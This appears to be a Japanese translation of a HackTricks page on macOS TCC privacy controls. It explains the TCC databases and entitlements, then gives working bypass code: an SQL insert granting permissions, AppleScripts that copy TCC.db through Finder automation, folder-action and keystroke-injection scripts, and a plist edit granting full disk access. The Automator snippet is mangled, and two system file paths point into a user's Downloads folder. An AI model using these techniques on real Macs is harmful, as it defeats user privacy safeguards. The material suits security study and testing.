.. | ||
macos-tcc-bypasses | ||
macos-apple-scripts.md | ||
macos-tcc-bypasses.md | ||
macos-tcc-payloads.md | ||
README.md |
macOS TCC
AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をご覧ください!
HackTricksをサポートする他の方法:
- HackTricksにあなたの会社を広告掲載したい場合やHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式PEASS & HackTricksグッズを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションをチェックする
- 💬 Discordグループやテレグラムグループに参加するか、Twitter 🐦 @carlospolopmをフォローする。
- HackTricksとHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
基本情報
TCC (透明性、同意、および制御) は、macOSのメカニズムで、通常はプライバシーの観点から、特定の機能へのアプリケーションアクセスを制限および制御するためのものです。これには、位置情報サービス、連絡先、写真、マイク、カメラ、アクセシビリティ、フルディスクアクセスなどが含まれます。
ユーザーの視点からは、アプリケーションがTCCによって保護されている機能へのアクセスを求めるときに、TCCが動作しているのを見ることができます。このとき、ユーザーにはダイアログが表示され、アクセスを許可するかどうかを尋ねられます。
また、ユーザーがプログラムにファイルをドラッグ&ドロップするなど、ユーザーの明示的な意図によってアプリにファイルへのアクセスを許可することも可能です(もちろん、プログラムはそれにアクセスできるべきです)。
TCCは、/System/Library/PrivateFrameworks/TCC.framework/Support/tccd
にあるデーモンによって処理され、/System/Library/LaunchDaemons/com.apple.tccd.system.plist
で設定されています(machサービスcom.apple.tccd.system
を登録)。
ログインしている各ユーザーごとに実行されるユーザーモードのtccdは、/System/Library/LaunchAgents/com.apple.tccd.plist
で定義されており、machサービスcom.apple.tccd
とcom.apple.usernotifications.delegate.com.apple.tccd
を登録しています。
ここでは、システムとして、またユーザーとして実行されているtccdを見ることができます:
ps -ef | grep tcc
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
権限は親アプリケーションから継承され、権限はBundle IDとDeveloper IDに基づいて追跡されます。
TCC データベース
許可/拒否はいくつかの TCC データベースに保存されます:
- システム全体のデータベースは
/Library/Application Support/com.apple.TCC/TCC.db
にあります。 - このデータベースは SIP 保護されているため、SIP バイパスでのみ書き込むことができます。
- ユーザーごとの設定用のユーザー TCC データベース
$HOME/Library/Application Support/com.apple.TCC/TCC.db
。 - このデータベースは保護されているため、フルディスクアクセスのような高い TCC 権限を持つプロセスのみが書き込むことができます(ただし、SIP によって保護されていません)。
{% hint style="warning" %} 前述のデータベースは読み取りアクセスに対しても TCC で保護されています。そのため、TCC 権限を持つプロセスからでない限り、通常のユーザー TCC データベースを読むことはできません。
ただし、これらの高い権限を持つプロセス(FDA や kTCCServiceEndpointSecurityClient
など)は、ユーザーの TCC データベースに書き込むことができることを覚えておいてください。
{% endhint %}
- 第三の TCC データベースは
/var/db/locationd/clients.plist
にあり、位置情報サービスへのアクセスを許可されたクライアントを示します。 - SIP 保護されたファイル
/Users/carlospolop/Downloads/REG.db
(TCC によって読み取りアクセスも保護されています)には、すべての有効な TCC データベースの位置が含まれています。 - SIP 保護されたファイル
/Users/carlospolop/Downloads/MDMOverrides.plist
(TCC によって読み取りアクセスも保護されています)には、さらに多くの TCC 付与権限が含まれています。 - SIP 保護されたファイル
/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist
(しかし誰でも読める)は、TCC 例外が必要なアプリケーションの許可リストです。
{% hint style="success" %}
iOS の TCC データベースは /private/var/mobile/Library/TCC/TCC.db
にあります。
{% endhint %}
{% hint style="info" %} 通知センター UI は、システム TCC データベースに変更を加えることができます:
{% code overflow="wrap" %}
codesign -dv --entitlements :- /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
[..]
com.apple.private.tcc.manager
com.apple.rootless.storage.TCC
{% endcode %}
しかし、ユーザーは**tccutil
** コマンドラインユーティリティを使用してルールを削除または照会することができます。
{% endhint %}
データベースの照会
{% tabs %} {% tab title="ユーザーDB" %} {% code overflow="wrap" %}
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db
sqlite> .schema
# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id
# The table access contains the permissions per services
sqlite> select service, client, auth_value, auth_reason from access;
kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4
kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2
kTCCServiceMicrophone|us.zoom.xos|2|2
[...]
# Check user approved permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=2;
# Check user denied permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
{% endcode %} {% endtab %}
{% tab title="システム DB" %} {% code overflow="wrap" %}
sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db
sqlite> .schema
# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id
# The table access contains the permissions per services
sqlite> select service, client, auth_value, auth_reason from access;
kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4
kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2
kTCCServiceMicrophone|us.zoom.xos|2|2
[...]
# Get all FDA
sqlite> select service, client, auth_value, auth_reason from access where service = "kTCCServiceSystemPolicyAllFiles" and auth_value=2;
# Check user approved permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=2;
# Check user denied permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
{% endcode %} {% endtab %} {% endtabs %}
{% hint style="success" %} アプリが許可している権限、禁止している権限、または持っていない権限(要求される)を両方のデータベースをチェックすることで確認できます。 {% endhint %}
service
はTCC 権限の文字列表現ですclient
は権限を持つバンドルIDまたはバイナリへのパスですclient_type
はバンドル識別子(0)か絶対パス(1)かを示します
絶対パスの場合の実行方法
launctl load you_bin.plist
を実行してください。plistは以下のようになります:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<!-- Label for the job -->
<key>Label</key>
<string>com.example.yourbinary</string>
<!-- The path to the executable -->
<key>Program</key>
<string>/path/to/binary</string>
<!-- Arguments to pass to the executable (if any) -->
<key>ProgramArguments</key>
<array>
<string>arg1</string>
<string>arg2</string>
</array>
<!-- Run at load -->
<key>RunAtLoad</key>
<true/>
<!-- Keep the job alive, restart if necessary -->
<key>KeepAlive</key>
<true/>
<!-- Standard output and error paths (optional) -->
<key>StandardOutPath</key>
<string>/tmp/YourBinary.stdout</string>
<key>StandardErrorPath</key>
<string>/tmp/YourBinary.stderr</string>
</dict>
</plist>
auth_value
には異なる値があります: denied(0), unknown(1), allowed(2), limited(3)。auth_reason
は以下の値を取ることができます: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)- csreq フィールドは、バイナリを検証してTCC権限を付与する方法を示しています:
# Query to get cserq in printable hex
select service, client, hex(csreq) from access where auth_value=2;
# To decode it (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
BLOB="FADE0C000000003000000001000000060000000200000012636F6D2E6170706C652E5465726D696E616C000000000003"
echo "$BLOB" | xxd -r -p > terminal-csreq.bin
csreq -r- -t < terminal-csreq.bin
# To create a new one (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
REQ_STR=$(codesign -d -r- /Applications/Utilities/Terminal.app/ 2>&1 | awk -F ' => ' '/designated/{print $2}')
echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n')
echo "X'$REQ_HEX'"
- テーブルの他のフィールドについての詳細は、このブログ投稿をチェックしてください。
アプリに既に与えられている権限を システム環境設定 --> セキュリティとプライバシー --> プライバシー --> ファイルとフォルダ
で確認することもできます。
{% hint style="success" %}
ユーザーは tccutil
を使用してルールを削除または照会できます。
{% endhint %}
TCC権限のリセット
# You can reset all the permissions given to an application with
tccutil reset All app.some.id
# Reset the permissions granted to all apps
tccutil reset All
TCC 署名チェック
TCC データベースはアプリケーションのBundle IDを保存しますが、許可を求めるアプリが正しいものであることを確認するために、署名に関する情報も保存します。
{% code overflow="wrap" %}
# From sqlite
sqlite> select service, client, hex(csreq) from access where auth_value=2;
#Get csreq
# From bash
echo FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin
## Get signature checks
csreq -t -r /tmp/telegram_csreq.bin
(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"
{% endcode %}
{% hint style="warning" %} したがって、同じ名前とバンドルIDを使用する他のアプリケーションは、他のアプリに付与された権限にアクセスすることができません。 {% endhint %}
エンタイトルメントとTCC権限
アプリはリソースへのアクセスを要求し、アクセスが許可されるだけでなく、関連するエンタイトルメントを持っている必要があります。
例えばTelegramは、カメラへのアクセスを要求するためにcom.apple.security.device.camera
というエンタイトルメントを持っています。このエンタイトルメントを持っていないアプリはカメラにアクセスすることができず、ユーザーに権限を求めることもありません。
しかし、~/Desktop
、~/Downloads
、~/Documents
などの特定のユーザーフォルダへのアクセスには、特定のエンタイトルメントは必要ありません。システムはアクセスを透過的に処理し、必要に応じてユーザーにプロンプトを表示します。
Appleのアプリはプロンプトを生成しません。それらには事前に付与された権利がエンタイトルメントリストに含まれており、ポップアップを生成することはなく、TCCデータベースにも表示されません。例えば:
codesign -dv --entitlements :- /System/Applications/Calendar.app
[...]
<key>com.apple.private.tcc.allow</key>
<array>
<string>kTCCServiceReminders</string>
<string>kTCCServiceCalendar</string>
<string>kTCCServiceAddressBook</string>
</array>
この操作により、カレンダーがリマインダー、カレンダー、およびアドレス帳へのアクセスをユーザーに求めることを避けることができます。
{% hint style="success" %} エンタイトルメントに関する公式ドキュメントの他に、https://newosxbook.com/ent.jl でエンタイトルメントについての興味深い非公式情報も見つけることができます。 {% endhint %}
いくつかのTCC権限には、kTCCServiceAppleEvents、kTCCServiceCalendar、kTCCServicePhotosなどがあります。これらを定義する公開リストはありませんが、既知のリストを確認することができます。
センシティブで保護されていない場所
- $HOME(自体)
- $HOME/.ssh、$HOME/.awsなど
- /tmp
ユーザーの意図 / com.apple.macl
以前に述べたように、アプリにファイルをドラッグ&ドロップすることでそのアプリにファイルへのアクセスを許可することが可能です。このアクセスはTCCデータベースには記載されませんが、ファイルの拡張属性として保存されます。この属性は許可されたアプリのUUIDを保存します。
xattr Desktop/private.txt
com.apple.macl
# Check extra access to the file
## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command
macl_read Desktop/private.txt
Filename,Header,App UUID
"Desktop/private.txt",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3
# Get the UUID of the app
otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
{% hint style="info" %}
com.apple.macl
属性は、tccdではなくSandboxによって管理されていることが興味深いです。
また、あなたのコンピューターのアプリのUUIDを許可するファイルを別のコンピューターに移動した場合、同じアプリでも異なるUIDを持つため、そのアプリにアクセスを許可しないことに注意してください。 {% endhint %}
拡張属性 com.apple.macl
は、SIPによって保護されているため、他の拡張属性のようにクリアすることはできません。しかし、この投稿で説明されているように、ファイルを圧縮して、削除してから解凍することで無効にすることが可能です。
TCC Privesc & Bypasses
TCCに挿入
いつかTCCデータベースに対する書き込みアクセスを得ることができたら、以下のようなものを使用してエントリを追加することができます(コメントは削除してください):
TCCに挿入する例
```sql INSERT INTO access ( service, client, client_type, auth_value, auth_reason, auth_version, csreq, policy_id, indirect_object_identifier_type, indirect_object_identifier, indirect_object_code_identity, flags, last_modified, pid, pid_version, boot_uuid, last_reminded ) VALUES ( 'kTCCServiceSystemPolicyDesktopFolder', -- service 'com.googlecode.iterm2', -- client 0, -- client_type (0 - bundle id) 2, -- auth_value (2 - allowed) 3, -- auth_reason (3 - "User Set") 1, -- auth_version (always 1) X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now NULL, -- policy_id NULL, -- indirect_object_identifier_type 'UNUSED', -- indirect_object_identifier - default value NULL, -- indirect_object_code_identity 0, -- flags strftime('%s', 'now'), -- last_modified with default current timestamp NULL, -- assuming pid is an integer and optional NULL, -- assuming pid_version is an integer and optional 'UNUSED', -- default value for boot_uuid strftime('%s', 'now') -- last_reminded with default current timestamp ); ```TCCペイロード
TCCの権限を持つアプリ内に侵入できた場合、それらを悪用するための以下のページにあるTCCペイロードを確認してください:
{% content-ref url="macos-tcc-payloads.md" %} macos-tcc-payloads.md {% endcontent-ref %}
Automation (Finder) から FDA* へ
Automation権限のTCC名は:kTCCServiceAppleEvents
この特定のTCC権限は、TCCデータベース内で管理できるアプリケーションも示しています(つまり、権限はすべてを管理できるわけではありません)。
Finderは、UIに表示されなくても常にFDAを持っているアプリケーションです。したがって、Finderに対するAutomation権限を持っている場合、その権限を悪用していくつかのアクションを実行させることができます。
この場合、あなたのアプリは**com.apple.Finder
に対するkTCCServiceAppleEvents
**の権限が必要になります。
{% tabs %} {% tab title="ユーザーのTCC.dbを盗む" %}
# This AppleScript will copy the system TCC database into /tmp
osascript<<EOD
tell application "Finder"
set homeFolder to path to home folder as string
set sourceFile to (homeFolder & "Library:Application Support:com.apple.TCC:TCC.db") as alias
set targetFolder to POSIX file "/tmp" as alias
duplicate file sourceFile to targetFolder with replacing
end tell
EOD
{% endtab %}
{% tab title="システムのTCC.dbを盗む" %}
osascript<<EOD
tell application "Finder"
set sourceFile to POSIX file "/Library/Application Support/com.apple.TCC/TCC.db" as alias
set targetFolder to POSIX file "/tmp" as alias
duplicate file sourceFile to targetFolder with replacing
end tell
EOD
{% endtab %} {% endtabs %}
これを悪用して独自のユーザーTCCデータベースを書くことができます。
{% hint style="warning" %} この権限を持っていると、FinderにTCC制限フォルダへのアクセスを要求してファイルを取得することができますが、知る限りFinderに任意のコードを実行させてそのFDAアクセスを完全に悪用することはできません。
したがって、FDAの能力を完全に悪用することはできません。 {% endhint %}
これはFinderに対する自動化権限を得るためのTCCプロンプトです:
{% hint style="danger" %}
AutomatorアプリがTCC権限**kTCCServiceAppleEvents
を持っているため、Finderのような任意のアプリを制御できることに注意してください。したがって、Automatorを制御する権限を持っていれば、以下のようなコードでFinder**も制御できる可能性があります:
{% endhint %}
Automator内でシェルを取得する
```applescript osascript<tell application "Automator" set actionID to Automator action id "com.apple.RunShellScript" tell (make new workflow) add actionID to it tell last Automator action set value of setting "inputMethod" to 1 set value of setting "COMMAND_STRING" to theScript end tell execute it end tell activate end tell EODOnce inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear
</details>
**Script Editor アプリ**では、Finderを制御できますが、AppleScriptを使用してスクリプトの実行を強制することはできません。
### オートメーション (SE) から一部の TCC へ
**System Events はフォルダアクションを作成でき、フォルダアクションは一部の TCC フォルダ**(デスクトップ、ドキュメント、ダウンロード)にアクセスできるため、以下のようなスクリプトを使用してこの挙動を悪用することができます:
```bash
# Create script to execute with the action
cat > "/tmp/script.js" <<EOD
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("cp -r $HOME/Desktop /tmp/desktop");
EOD
osacompile -l JavaScript -o "$HOME/Library/Scripts/Folder Action Scripts/script.scpt" "/tmp/script.js"
# Create folder action with System Events in "$HOME/Desktop"
osascript <<EOD
tell application "System Events"
-- Ensure Folder Actions are enabled
set folder actions enabled to true
-- Define the path to the folder and the script
set homeFolder to path to home folder as text
set folderPath to homeFolder & "Desktop"
set scriptPath to homeFolder & "Library:Scripts:Folder Action Scripts:script.scpt"
-- Create or get the Folder Action for the Desktop
if not (exists folder action folderPath) then
make new folder action at end of folder actions with properties {name:folderPath, path:folderPath}
end if
set myFolderAction to folder action folderPath
-- Attach the script to the Folder Action
if not (exists script scriptPath of myFolderAction) then
make new script at end of scripts of myFolderAction with properties {name:scriptPath, path:scriptPath}
end if
-- Enable the Folder Action and the script
enable myFolderAction
end tell
EOD
# File operations in the folder should trigger the Folder Action
touch "$HOME/Desktop/file"
rm "$HOME/Desktop/file"
オートメーション (SE) + アクセシビリティ (kTCCServicePostEvent
|kTCCServiceAccessibility
) から FDA* へ
System Events
上のオートメーション + アクセシビリティ (kTCCServicePostEvent
) は、プロセスへのキーストロークを送信することを可能にします。この方法を利用して、Finderを悪用してユーザーの TCC.db を変更したり、任意のアプリに FDA を与えることができます(ただし、これにはパスワードの入力が求められる可能性があります)。
Finder がユーザーの TCC.db を上書きする例:
-- store the TCC.db file to copy in /tmp
osascript <<EOF
tell application "System Events"
-- Open Finder
tell application "Finder" to activate
-- Open the /tmp directory
keystroke "g" using {command down, shift down}
delay 1
keystroke "/tmp"
delay 1
keystroke return
delay 1
-- Select and copy the file
keystroke "TCC.db"
delay 1
keystroke "c" using {command down}
delay 1
-- Resolve $HOME environment variable
set homePath to system attribute "HOME"
-- Navigate to the Desktop directory under $HOME
keystroke "g" using {command down, shift down}
delay 1
keystroke homePath & "/Library/Application Support/com.apple.TCC"
delay 1
keystroke return
delay 1
-- Check if the file exists in the destination and delete if it does (need to send keystorke code: https://macbiblioblog.blogspot.com/2014/12/key-codes-for-function-and-special-keys.html)
keystroke "TCC.db"
delay 1
keystroke return
delay 1
key code 51 using {command down}
delay 1
-- Paste the file
keystroke "v" using {command down}
end tell
EOF
kTCCServiceAccessibility
から FDA* への昇格
アクセシビリティ権限を悪用するペイロードについては、このページを確認してください。例えば、FDA* への権限昇格やキーロガーの実行が可能です。
エンドポイントセキュリティクライアントから FDA へ
kTCCServiceEndpointSecurityClient
を持っていれば、FDA を持っています。終わり。
システムポリシーSysAdminファイルから FDA へ
kTCCServiceSystemPolicySysAdminFiles
は、ユーザーの NFSHomeDirectory
属性を 変更 することを許可し、これによりユーザーのホームフォルダーが変更され、TCC を バイパス することができます。
ユーザー TCC DB から FDA へ
ユーザー TCC データベースに対する 書き込み権限 を取得しても、自分自身に FDA
権限を付与することは できません。システムデータベースに存在するものだけがその権限を付与できます。
しかし、Finder への自動化権限
を自分自身に付与し、前述のテクニックを悪用して FDA* に昇格することは 可能です。
FDA から TCC 権限へ
フルディスクアクセス の TCC 名は kTCCServiceSystemPolicyAllFiles
です。
これが実際に権限昇格になるとは思いませんが、役立つかもしれないので念のために記載します:FDA を制御するプログラムを持っている場合、ユーザーの TCC データベースを 変更し、任意のアクセス権を自分自身に付与することができます。これは、FDA 権限を失う可能性がある場合の持続性テクニックとして有用かもしれません。
SIP バイパスから TCC バイパスへ
システムの TCC データベース は SIP によって保護されているため、指定された権限を持つプロセスのみがそれを 変更することができます。したがって、攻撃者が ファイル に対する SIP バイパス(SIP によって制限されたファイルを変更できる)を見つけた場合、以下のようにすることができます:
- TCC データベースの保護を 解除し、自分自身にすべての TCC 権限を付与します。例えば、これらのファイルを悪用できます:
- TCC システムデータベース
- REG.db
- MDMOverrides.plist
しかし、SIP バイパスを悪用して TCC をバイパスする 別の方法があります。ファイル /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist
は、TCC 例外が必要なアプリケーションの許可リストです。したがって、攻撃者がこのファイルの SIP 保護を解除 し、自分の アプリケーションを追加 することができれば、そのアプリケーションは TCC をバイパスできるようになります。
例えば、ターミナルを追加するには:
# Get needed info
codesign -d -r- /System/Applications/Utilities/Terminal.app
AllowApplicationsList.plist:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Services</key>
<dict>
<key>SystemPolicyAllFiles</key>
<array>
<dict>
<key>CodeRequirement</key>
<string>identifier "com.apple.Terminal" and anchor apple</string>
<key>IdentifierType</key>
<string>bundleID</string>
<key>Identifier</key>
<string>com.apple.Terminal</string>
</dict>
</array>
</dict>
</dict>
</plist>
TCC バイパス
{% content-ref url="macos-tcc-bypasses/" %} macos-tcc-bypasses {% endcontent-ref %}
参考文献
- https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive
- https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command
- https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/
- https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/
htARTE (HackTricks AWS Red Team Expert) で AWS ハッキングをゼロからヒーローまで学ぶ
HackTricks をサポートする他の方法:
- HackTricks にあなたの会社を広告したい、または HackTricks を PDF でダウンロードしたい 場合は、サブスクリプションプランをチェックしてください!
- 公式 PEASS & HackTricks グッズを入手する
- The PEASS Family を発見し、独占的な NFT コレクションをチェックする
- 💬 Discord グループ に参加するか、テレグラム グループ に参加する、または Twitter 🐦 @carlospolopm を フォローする。
- HackTricks と HackTricks Cloud の GitHub リポジトリに PR を提出して、あなたのハッキングのコツを 共有する。